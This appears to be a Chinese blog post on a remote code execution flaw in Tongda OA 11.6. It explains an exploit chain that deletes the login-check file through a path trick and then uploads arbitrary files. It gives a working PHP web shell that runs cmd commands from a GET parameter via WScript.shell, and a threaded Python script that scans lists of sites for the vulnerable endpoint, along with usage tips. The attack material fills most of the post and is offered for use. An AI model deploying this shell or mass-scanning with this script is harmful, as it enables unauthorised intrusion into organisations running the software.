通达OA 11.6 RCE 漏洞(含EXP,POC,环境)

漏洞环境下载:http://www.kxdw.com/soft/23114.html

漏洞EXP:https://github.com/TomAPU/poc_and_exp/blob/master/rce.py

漏洞POC:见文末(其实也简单就是验证/module/appbuilder/assets/print.php 此文件存不存在。)

 

漏洞EXP利用原理

  根据exp构造了上传文件名和内容 {‘FILE1’: (‘hack.php’, payload)}
  同时利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
  也就是说在这里构造访问上传后
  file_exists判断存在将文件加_拼接目录移动到根目录下并删除原文件

  总体的根据exp分析 首先存在了任意文件删除漏洞
  然后删除登陆校验文件,进而导致任意文件上传漏洞
  组合之后也就是现在的rce漏洞

 

利用漏洞不要直接打EXP会导致网站出现问题。(会成为这个样子=。=)

 

 

EXP直接在代码里修改target和payload就好。上传的文件名也可在代码中修改。

 

 

payload的一些马可能无法执行命令,此马可顺利执行命令。

<?php
    $command=$_GET['a'];
    $wsh = new COM('WScript.shell');
    $exec = $wsh->exec("cmd /c ".$command);
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;
?>

 

 

 

POC:

存在/module/appbuilder/assets/print.php此文件(会出现如下界面。也会跳转url)

 

 

POC代码,只需要验证文件是否存在就好,是否返回状态码是200。

#!/usr/bin/enc python
# _*_ coding: utf-8 _*_

import requests
import os
import sys
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

file = str(sys.argv[1])
write = sys.argv[2]
duwenjian = open(file , 'r' , encoding='UTF-8')
xiewenjian = open(write , 'w')
ff = duwenjian.readlines()

def webhttp():
    for line in ff:
        try:
            line = line.rstrip("\n")
            payload = "/module/appbuilder/assets/print.php"
            url = line + payload
            qingqiu = requests.get(url, verify=False, timeout=1)
            zhuangtai = qingqiu.status_code
            if zhuangtai == 200 :
                print(url)
                xiewenjian.write(url)
                xiewenjian.write('\n')
            else :
                pass
        except OSError:
            pass

def main():
    f = threading.Thread(target=webhttp)
    f.start()
    f.join()
    duwenjian.close()
    xiewenjian.close()

if __name__=="__main__":
    main()

 

 

posted @ 2020-08-23 18:05  枕桃花吹长笛  阅读(1394)  评论(0编辑  收藏  举报